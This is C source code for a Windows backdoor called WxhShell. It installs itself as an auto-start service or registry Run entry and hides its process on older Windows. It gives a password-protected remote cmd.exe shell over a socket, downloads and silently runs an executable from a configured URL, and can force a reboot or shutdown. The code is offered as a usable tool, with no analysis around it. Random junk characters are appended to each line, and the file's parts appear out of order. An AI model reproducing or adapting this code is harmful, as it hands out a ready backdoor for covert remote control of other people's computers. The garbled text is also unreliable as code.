    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vq)6+n8o  
    if(Boot(SHUTDOWN)) @S3G>i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_$Xt)Y{  
    else { H^Th]-Zl  
    closesocket(wsh); n}8J-/(|+  
    ExitThread(0); m @K5eh  
    } y  @&Cn  
    break; rh;@|/<l  
    } u&Ze$z  
  // 获取shell !ueyVE$1  
  case 's': { cO$ PK  
    CmdShell(wsh); kYxb@Zn=|  
    closesocket(wsh); M[wd.\ %  
    ExitThread(0); Q}G'=Q]Juz  
    break; aL63=y  
  } MMs#Y1dH  
  // 退出 3q*y~5&I  
  case 'x': { Z<@Kkbj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <|= UrG  
    CloseIt(wsh); R#ayN*  
    break; 3?Ckk{)&  
    } e=b>:n  
  // 离开 qMD!No  
  case 'q': { MPt:bf#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bv&A)h"S  
    closesocket(wsh); }t4?*:\  
    WSACleanup(); fFG, ^;7-O  
    exit(1); `N 0Mm7  
    break; 'n> ,+,&  
        } L4th 7#  
  } Fv n:V\eb  
  } oObm5e*Z  
y( M-   
  // 提示信息 _I;+p eq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L,Jl# S  
} /I2RU2|B  
  } ~.4-\M6[  
esCm`?qCP  
  return; (<?6X9F:N  
} V=";vRS8  
?2ZggV  
// shell模块句柄 b-}nv`9C  
int CmdShell(SOCKET sock) >h3r\r\n3  
{ +dWx?$n  
STARTUPINFO si; K\5'pp1  
ZeroMemory(&si,sizeof(si)); S4RvWTtQV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m&)5QX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L(tA~Z"k  
PROCESS_INFORMATION ProcessInfo; _= RA-qZ"  
char cmdline[]="cmd"; _is<.&f6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 74*1|S <  
  return 0; }]w/`TF  
} e|:#Y^  
N>z<v\`  
// 自身启动模式 b2;+a(  
int StartFromService(void) k/+-Tq;  
{ u|m>h(O  
typedef struct A^+G w\  
{ fFD:E} >5  
  DWORD ExitStatus; neW_mu;~Z  
  DWORD PebBaseAddress; .k5 TQt  
  DWORD AffinityMask; *hI  
  DWORD BasePriority; =j[zMO  
  ULONG UniqueProcessId; i_OoR"J%  
  ULONG InheritedFromUniqueProcessId; fm2,Mx6  
}   PROCESS_BASIC_INFORMATION; 5>.)7D%  
[uxhdR`T  
PROCNTQSIP NtQueryInformationProcess; wT?.Mte  
G)28#aH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rK%<2i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ajIgL<x  
5Z{h!}Y  
  HANDLE             hProcess; %AbA(F  
  PROCESS_BASIC_INFORMATION pbi; J{$+\  
+RexQE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x2B~1edf  
  if(NULL == hInst ) return 0; Sbub|  
td^2gjr^5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O_8ERxj g]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aVv$k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X E]YKJ?|k  
$Xf1|!W%a%  
  if (!NtQueryInformationProcess) return 0; 6x KbK1W  
T1bPI/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); et";*EZJX  
  if(!hProcess) return 0; ,<$6-3sC-  
;2"#X2B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A:Z$i5%'  
3ThCY`  
  CloseHandle(hProcess); 7 }`c:u~j  
loVUB'OSv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Af&K22M(X  
if(hProcess==NULL) return 0; &wRdUIc  
G1MuH%4  
HMODULE hMod; Z&W|O>QTl  
char procName[255]; mIVnc`3s  
unsigned long cbNeeded; P<b.;Oz__-  
)'8DK$.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,)mqd2)+"  
6|U0"C#]  
  CloseHandle(hProcess); BCV<( @c  
dj*%^cI  
if(strstr(procName,"services")) return 1; // 以服务启动 }IvJIr  
;\7TQ9z  
  return 0; // 注册表启动 6'y+Ev$9  
} }49X  N  
~S}>|q$  
// 主模块 6zs&DOB  
int StartWxhshell(LPSTR lpCmdLine) ,2mnjq/*Z  
{ P;[5#-e  
  SOCKET wsl; }K,:aN,44\  
BOOL val=TRUE; NVx`'Il8 "  
  int port=0; PbOLN$hP  
  struct sockaddr_in door; 9`}Wp2  
[\CQ_qs|  
  if(wscfg.ws_autoins) Install(); Ms5m.lX  
`Z]Tp1U  
port=atoi(lpCmdLine); FUzIuz 6  
&fA`Od6l"  
if(port<=0) port=wscfg.ws_port; Lv@JfN"O  
xB{0lI  
  WSADATA data; b_Ns Ch3@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -jsNAQ  
fLK*rK^{"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a5WVDh, cR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vTN/ho,H  
  door.sin_family = AF_INET; $|.x!sA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j"o`K}C  
  door.sin_port = htons(port); .{D[!Dp#h  
dDN#>|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +7?p& -r)x  
closesocket(wsl);  mfOr+   
return 1; v 1Yf:c  
} cSCO7L2E18  
.58>KBj(  
  if(listen(wsl,2) == INVALID_SOCKET) { ,>CFw-Nxu  
closesocket(wsl); 9 O| "Ws>{  
return 1; 0'O;H[nrl  
} ey<u  
  Wxhshell(wsl); v'*  
  WSACleanup(); "!<Kmh5  
6'W79  
return 0; ~rE U83  
:P`sK&b_  
} RC Fb&,51  
GL&ri!,  
// 以NT服务方式启动 7k{Oae\$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !\Jj}iX3_  
{ 8}Rwf?B  
DWORD   status = 0; fI} Z`*  
  DWORD   specificError = 0xfffffff; aNb=gjLpt  
X5U.8qI3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }Q_IqI[7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yrO'15TB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FT73P0!8.  
  serviceStatus.dwWin32ExitCode     = 0; i_ws*7B<  
  serviceStatus.dwServiceSpecificExitCode = 0; z<c^<hE:l  
  serviceStatus.dwCheckPoint       = 0; %Rv&VFg  
  serviceStatus.dwWaitHint       = 0; BDZB;DPb  
eKn&`\j6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %)*!(%\S*3  
  if (hServiceStatusHandle==0) return; W"4E0!r  
+<6L>ZAL  
status = GetLastError(); E&V"z^qs_  
  if (status!=NO_ERROR) ~PaD _W#xP  
{ 'qQ 5K o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e/lfT?J\  
    serviceStatus.dwCheckPoint       = 0; '1;Q'-/J  
    serviceStatus.dwWaitHint       = 0; aWek<Y~+  
    serviceStatus.dwWin32ExitCode     = status; @uz&]~+`  
    serviceStatus.dwServiceSpecificExitCode = specificError; yCkfAx8 ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '-3AWBWI1  
    return; !>b>"\b  
  } i`7{q~d=  
QU16X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XyJ*>;q  
  serviceStatus.dwCheckPoint       = 0; leyhiL<  
  serviceStatus.dwWaitHint       = 0;  CJg &  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T+NEw8C?/  
} wxpD{P  
6~?7CK  
// 处理NT服务事件,比如:启动、停止 a#FkoA~M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CyO2Z  
{ p%,:U8fOR  
switch(fdwControl) ElhTB  
{ 4IG=mG)  
case SERVICE_CONTROL_STOP: >x@]w sj  
  serviceStatus.dwWin32ExitCode = 0; xc Wr hg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '#$% f  
  serviceStatus.dwCheckPoint   = 0; W?~G_4  
  serviceStatus.dwWaitHint     = 0; <`5>;Xn=  
  { 3 1KMn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G/_#zIN`8M  
  } s4P8PDhz  
  return; n l Xg8t^G  
case SERVICE_CONTROL_PAUSE: MBs]<(RJZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WK0?$[|=r  
  break; +l@H[r;$  
case SERVICE_CONTROL_CONTINUE: B)/X:[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kW\=Z 1\#  
  break; ?XL[[vyr  
case SERVICE_CONTROL_INTERROGATE: epj]n=/}[  
  break; K@U"^ `G2  
}; <<@\K,=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2_;.iH 6  
} ,)'!E^n  
pSkP8'  ?  
// 标准应用程序主函数 im9 B=D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /XS6X  
{ '?t]iRCeI7  
LW?] ~|  
// 获取操作系统版本 "5Oog<  
OsIsNt=GetOsVer(); x68J [; jm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lG>rf*ei~  
#9O *@  
  // 从命令行安装 u$[ '}z0:  
  if(strpbrk(lpCmdLine,"iI")) Install(); GZ/.eYE  
vmJ1-<G4*  
  // 下载执行文件 ~6.AE/ow  
if(wscfg.ws_downexe) { fF[n?:VV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ks@S5:9sp  
  WinExec(wscfg.ws_filenam,SW_HIDE); X<\^*{  
} vi@a87w>  
Ttn=VX{ \  
if(!OsIsNt) { yxQxc5/X)  
// 如果时win9x,隐藏进程并且设置为注册表启动 #9EpQc[4  
HideProc(); GV6!`@<  
StartWxhshell(lpCmdLine); l*uNi47|  
} qd~)Ya1  
else yk!,{Q?<$  
  if(StartFromService()) )XMSQ ="m  
  // 以服务方式启动 g2;JJ}  
  StartServiceCtrlDispatcher(DispatchTable); Gv>,Ad ka  
else Sd' uXX@  
  // 普通方式启动 _7~O>.  
  StartWxhshell(lpCmdLine); o4o&}  
s#;|8_L M  
return 0; ncb?iJ/b^  
} wX8T;bo&  
~/Aw[>_;  
Qc\JUm]  
':!w%& \  
=========================================== 6hXL`A&},  
y`:}~nUdT  
T9KzVxHp5  
Et(Q$/W  
-q&VV,  
6AqHzeh  
" [|d:QFx  
wblEx/FqE^  
#include <stdio.h> LkMhS0?(T  
#include <string.h> gsI"G  
#include <windows.h>  }XaO~]  
#include <winsock2.h> 1d7oR`qr  
#include <winsvc.h> + htTrHjt  
#include <urlmon.h> );@Dr!H  
E:4`x_~qQ  
#pragma comment (lib, "Ws2_32.lib") uTA /E9OY  
#pragma comment (lib, "urlmon.lib") F)j-D(c4  
yY4*/w7*j4  
#define MAX_USER   100 // 最大客户端连接数 e{:P!r aM  
#define BUF_SOCK   200 // sock buffer N6cf`xye  
#define KEY_BUFF   255 // 输入 buffer # ,u7lAz  
Y"D'|i  
#define REBOOT     0   // 重启 +8."z"i3lE  
#define SHUTDOWN   1   // 关机 r|:|\"Yk  
A`Z!=og=  
#define DEF_PORT   5000 // 监听端口 iN0pYqY*  
?}m/Q"!1  
#define REG_LEN     16   // 注册表键长度 WfBA5  
#define SVC_LEN     80   // NT服务名长度 apa~Is1  
7S7gU\qOj  
// 从dll定义API /S$p_7N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C&bw1`XJf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7_.z3K m:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /'QNlP[L;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); enj Ti5X  
t@ #sKdv  
// wxhshell配置信息 %O%+TR7Z  
struct WSCFG { ED"@!M`1  
  int ws_port;         // 监听端口 <>A:Oi3^  
  char ws_passstr[REG_LEN]; // 口令 [5:,+i  
  int ws_autoins;       // 安装标记, 1=yes 0=no zKe&*tZ  
  char ws_regname[REG_LEN]; // 注册表键名 }C/u>89%q  
  char ws_svcname[REG_LEN]; // 服务名 C#emmg!a\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %Xh/16X${  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 chQt8Ar3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S6h=} V )  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e-,U@_B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7e/Uc!&*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1B+MCt4  
Zd1+ZH  
}; /[VafR!  
(BVLlOo?J  
// default Wxhshell configuration v$K`C;  
struct WSCFG wscfg={DEF_PORT, 'v* =}k  
    "xuhuanlingzhe", }$hxD9z  
    1, W*QD'  
    "Wxhshell", A)2vjM9}K  
    "Wxhshell", |Pz-  
            "WxhShell Service", A5!j rSyv  
    "Wrsky Windows CmdShell Service", :J@q Xa  
    "Please Input Your Password: ", muQH!Q  
  1, `x lsvK>  
  "http://www.wrsky.com/wxhshell.exe", 2" ~!Pu^.j  
  "Wxhshell.exe" <P3r+ 1|R  
    }; 3uwu}aw  
Z_QSVH68A  
// 消息定义模块 4HVZ;,q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lt8chNi [  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XASoS5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lJi'%bOi  
char *msg_ws_ext="\n\rExit."; 4-eb&  
char *msg_ws_end="\n\rQuit."; T3[\;ib}  
char *msg_ws_boot="\n\rReboot..."; +hpXMO%?  
char *msg_ws_poff="\n\rShutdown..."; lJ3/^Htn  
char *msg_ws_down="\n\rSave to "; 6i( V+  
MX|CL{H  
char *msg_ws_err="\n\rErr!"; o*:VG\#Z6  
char *msg_ws_ok="\n\rOK!"; Mlb=,l  
/wK5YN.em  
char ExeFile[MAX_PATH]; [`_&d7{-4b  
int nUser = 0; VQZ3&]o  
HANDLE handles[MAX_USER]; F8;M++  
int OsIsNt; LG [ 2u  
g^NdN46%  
SERVICE_STATUS       serviceStatus; YPDc /  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?1xBhKq  
3P6pQm'.f  
// 函数声明 F 71  
int Install(void); +uM1#-+h  
int Uninstall(void); ge`)sB,  
int DownloadFile(char *sURL, SOCKET wsh); 9bPQD{Qb  
int Boot(int flag); Fm3-Sn|Po  
void HideProc(void); CM>/b3nOW  
int GetOsVer(void); Dj;h!8t.  
int Wxhshell(SOCKET wsl); 4};!nYey!  
void TalkWithClient(void *cs); *#+d j"  
int CmdShell(SOCKET sock); AU}lKq7%  
int StartFromService(void); 9xB^dKM3  
int StartWxhshell(LPSTR lpCmdLine); g:q+.6va"  
GI WgfE?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;*:d)'A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q =b.!AZy  
/_rQ>PgSZW  
// 数据结构和表定义 (s %T1 8  
SERVICE_TABLE_ENTRY DispatchTable[] = i92{N$*x  
{ kI<C\ *N  
{wscfg.ws_svcname, NTServiceMain}, ^LfCLI9Z  
{NULL, NULL} ~2 T_)l?  
}; G-G!c2o  
Z_iu^ Q  
// 自我安装 #-'=)l}i1A  
int Install(void) 9;&2LT7z  
{ P0Ds7xh]h  
  char svExeFile[MAX_PATH]; ;8 JJ#ED  
  HKEY key; D2[wv+#)  
  strcpy(svExeFile,ExeFile); 'AF2:T\  
#~Lh#@h  
// 如果是win9x系统,修改注册表设为自启动 "monuErg&  
if(!OsIsNt) { mbsdiab#N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^v}Z5,aN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j$Vv'on  
  RegCloseKey(key); {v+i!a'+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &s"&rFFO[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Ym5SrKK  
  RegCloseKey(key); w^ui%9 &6H  
  return 0; K-)*S\<}  
    } 5hB&]6n  
  } ~B:Lai4"  
} DvG.G+mo#  
else { W2wDSP-   
O*z x{a6  
// 如果是NT以上系统,安装为系统服务 H#E   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6ApW+/  
if (schSCManager!=0) bS&'oWy*B  
{ N(dn"`8  
  SC_HANDLE schService = CreateService blid* @-  
  ( $ &qB,>5=X  
  schSCManager, 1i_~ZzX8  
  wscfg.ws_svcname, N$/{f2iC  
  wscfg.ws_svcdisp, A%"XNk  
  SERVICE_ALL_ACCESS, s C e7ni  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "]LNw=S  
  SERVICE_AUTO_START, kNI m90,g  
  SERVICE_ERROR_NORMAL, 7t\kof  
  svExeFile, V{HZ/p_Y  
  NULL, .Ap[C? mV  
  NULL,  c?}C {  
  NULL, LOX[h$  
  NULL, 7Fq mT  
  NULL 9u1_L`+b  
  ); ~r]ZD)  
  if (schService!=0) )3.udx  
  { && ecq   
  CloseServiceHandle(schService); `tVBV :4\  
  CloseServiceHandle(schSCManager); P;VR[d4e/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y5-X)f  
  strcat(svExeFile,wscfg.ws_svcname); ({m["d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YJuaQxs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Xwin $C  
  RegCloseKey(key); m/0G=%d%k  
  return 0; g"2@E  
    } "3Dvc7V  
  } %saTyF,  
  CloseServiceHandle(schSCManager); Fy`VQ\%7t  
} z:+Xs!S  
} 5>j,P   
(^qcX;-  
return 1; 5`^"<wNI  
} , $}P<WZMu  
\z:p"eua z  
// 自我卸载 %a5Sc|&-  
int Uninstall(void) G2;Uv/vR  
{ *B#OLx  
  HKEY key; E"#<I*b  
=WyAOgy}  
if(!OsIsNt) { 4J!1$   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QDBptI:  
  RegDeleteValue(key,wscfg.ws_regname); bTA<AoW9="  
  RegCloseKey(key); aMm`G}9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2YuaPq/  
  RegDeleteValue(key,wscfg.ws_regname); 2EG"xA5%  
  RegCloseKey(key); bkmX@+Pe  
  return 0; 6du"^g  
  } s_zZ@azJ  
} Y91TF'  
} xtpD/,2  
else { j[iJo 5  
U,RIr8G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +ywWQ|V  
if (schSCManager!=0) Z6K9E=%)c  
{ >8t(qM-~:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O5_E"um  
  if (schService!=0) ovm*,La)g  
  { |1J "r.K  
  if(DeleteService(schService)!=0) { d>@{!c-  
  CloseServiceHandle(schService); .a;-7|x  
  CloseServiceHandle(schSCManager); I #1_  
  return 0; 0Yfk/}5  
  } wLkHU"'   
  CloseServiceHandle(schService); m$QFtrvy  
  } -W!g>^.  
  CloseServiceHandle(schSCManager); " 8;D^  
} FE M_7M  
} QHP^1W`  
gJs~kQU  
return 1; `'0opoQRe  
} Y)BKRS~  
5kC#uk  
// 从指定url下载文件 t,k9:p  
int DownloadFile(char *sURL, SOCKET wsh) D@DK9?#  
{ dH?pQ   
  HRESULT hr; uBl&|yvxB  
char seps[]= "/"; b.YQN'  
char *token; k^R>xV  
char *file; vk{4:^6.TV  
char myURL[MAX_PATH]; )byQ=-< 1  
char myFILE[MAX_PATH]; jG)>{D  
_'2r=a#`  
strcpy(myURL,sURL); A<>W^ow  
  token=strtok(myURL,seps); p&vQ* }  
  while(token!=NULL) y,Dfqt  
  { N#T MU  
    file=token; ~+CNED0z+  
  token=strtok(NULL,seps); 8f8+3  
  } -7=pb#y  
5wGyM10  
GetCurrentDirectory(MAX_PATH,myFILE); f}Uw%S=w,  
strcat(myFILE, "\\"); 8P5xRUkV  
strcat(myFILE, file); b <=K@I.=  
  send(wsh,myFILE,strlen(myFILE),0); <6v7_  
send(wsh,"...",3,0); B-@f.NO/s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <@JU0Z"a=  
  if(hr==S_OK) #GWQ]r?  
return 0; [POy" O  
else KxJJ?WyM  
return 1; $?*+P``  
jLb3{}0  
} >z[d ~  
lFc3 5  
// 系统电源模块 }f6.eqBX4  
int Boot(int flag) !p0FJ].g,  
{ @M,KA {e  
  HANDLE hToken; Rw$ @%o%  
  TOKEN_PRIVILEGES tkp; [K"v)B'  
^QYI`u`4  
  if(OsIsNt) { /JveN8L%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y J1P5u:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dW:  
    tkp.PrivilegeCount = 1; *qz]vUb/0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ln`c DZSM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K.X% Q,XD  
if(flag==REBOOT) { Or_9KX2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) foL`{fA  
  return 0; <JKPtF2b  
} }jIb ^|#CD  
else { [oKB1GkA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tH W"eag  
  return 0; YI\^hP#  
} -p%=36n  
  } n`^</0  
  else { (TnYUyFP`  
if(flag==REBOOT) { v- {kPc=:#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `P# h?tZ  
  return 0; ]0`[L<_r  
}  t%FS 5  
else { [X~H Uk??  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uQ8]j.0  
  return 0; :+-s7'!4  
} mtTJm4  
} _a.Q@A4'  
*qpmI9m  
return 1; !r[uwJ=  
} i uN8gHx  
08.dV<P  
// win9x进程隐藏模块 d6M d~$R  
void HideProc(void) cDAO5^  
{ $"_D"/*  
Z ,T TI>P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =x[`W9.D  
  if ( hKernel != NULL ) hob%'Y5%D  
  { V}aXS;(r%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wz:wR+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i 5_g z>  
    FreeLibrary(hKernel); d[O.UzQ  
  } =Wl CE_  
;zh|*F>  
return; K-#Rm%J+Wy  
} lI&0 V5  
"` 9W"A=  
// 获取操作系统版本 xvrCm`3n@  
int GetOsVer(void)  ;xry  
{ ^l iyWl  
  OSVERSIONINFO winfo; OSq"q-Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ap=M$9L'  
  GetVersionEx(&winfo);  =v8#@$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nE/T)[1|  
  return 1; t`Hwq   
  else xpSMbX{e  
  return 0; 8ALYih7"W  
} *_^AK=i  
nQ/El&{  
// 客户端句柄模块 Sc*p7o: A  
int Wxhshell(SOCKET wsl) pX2 Ki^)]  
{ a{H~>d< ?  
  SOCKET wsh; o3uv"# C  
  struct sockaddr_in client; 2I#fwsb  
  DWORD myID; mNuv>GAb  
mD0pqK  
  while(nUser<MAX_USER) KU$.m3A>  
{ Q+ uYr-  
  int nSize=sizeof(client); %Rg84tz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }l_) d  
  if(wsh==INVALID_SOCKET) return 1; i [FBll-  
\y<n{"a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G>H&M#7K  
if(handles[nUser]==0) .@xwl}o$OL  
  closesocket(wsh); Zcf?4{Kd?  
else O'j;"l~H|  
  nUser++; @AWKEo<7.I  
  } n:;2Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OcIJT1  
B:SzCC.B  
  return 0; 1_yUv7uhX  
} Ip<STz]-  
h05 ~ g  
// 关闭 socket [kn`~hI  
void CloseIt(SOCKET wsh) oOSw> 23x  
{ sLB{R#Pt  
closesocket(wsh); ;pC-0m0Y  
nUser--; ]Nm_<%lT  
ExitThread(0); {mI95g&  
} E8)C_[QJ`  
s>_ne0  
// 客户端请求句柄 FIW*N r  
void TalkWithClient(void *cs) dGHRHXi  
{ Ag}>gbz~G  
~ZL}j+L/  
  SOCKET wsh=(SOCKET)cs; A;{8\e  
  char pwd[SVC_LEN]; /FB'  
  char cmd[KEY_BUFF]; w~1K93/p!  
char chr[1]; LN_6>u  
int i,j; dD!} P$  
dNbN]gHC  
  while (nUser < MAX_USER) { .dl1sv U  
V4xZC\)Gk  
if(wscfg.ws_passstr) { 9[8?'`m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pn'*w 1i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y[*z6gP(  
  //ZeroMemory(pwd,KEY_BUFF); bJGT^N@  
      i=0; x'n J_0  
  while(i<SVC_LEN) { 2uU~$7~N  
8th G-  
  // 设置超时 szWh#O5=  
  fd_set FdRead; #d__  
  struct timeval TimeOut; *mq+w&  
  FD_ZERO(&FdRead); !U*i13  
  FD_SET(wsh,&FdRead); J6&;pCAi  
  TimeOut.tv_sec=8; `MEH/  
  TimeOut.tv_usec=0; pdmeB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L?0dZY-"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &]uhPx/  
,mjwQ6:Ny  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r.pU(uxt  
  pwd=chr[0]; %6*xnB?  
  if(chr[0]==0xd || chr[0]==0xa) { 1<ZvHv  
  pwd=0; \e( h6,@  
  break; +&Sf$t 1  
  } ?%;)> :3N  
  i++; m#DC;(Pn  
    } \6nWt6M  
/sC$;l  
  // 如果是非法用户,关闭 socket epz2d~;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! QP~#a%  
} o;-)84Aa  
TRX; m|   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @cSz!E}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -1Tws|4gc  
P ,5P6Y9  
while(1) { S'2B  
D4;V8(w=#  
  ZeroMemory(cmd,KEY_BUFF); ]\*g/QV  
~@TNVkw  
      // 自动支持客户端 telnet标准   kS3wa3bT  
  j=0; (<2PhJ|  
  while(j<KEY_BUFF) { +KXg&A/^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4q3M=0  
  cmd[j]=chr[0]; " c}pY^(  
  if(chr[0]==0xa || chr[0]==0xd) { %6dFACv  
  cmd[j]=0; ; l+3l ez  
  break; %w_h8  
  } (g4.bbEm  
  j++; D.U)R7(  
    } B9Y "J  
Sxf<8Px9i  
  // 下载文件 d];E99}  
  if(strstr(cmd,"http://")) { Hi <{c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rEs,o3h?po  
  if(DownloadFile(cmd,wsh)) 0|P RCq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Q >u N  
  else  fW|1AUD,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MQw{^6Z>1  
  } >*{\N^:z  
  else { pH'#v]"  
bU(t5 [  
    switch(cmd[0]) { W1U r~x`  
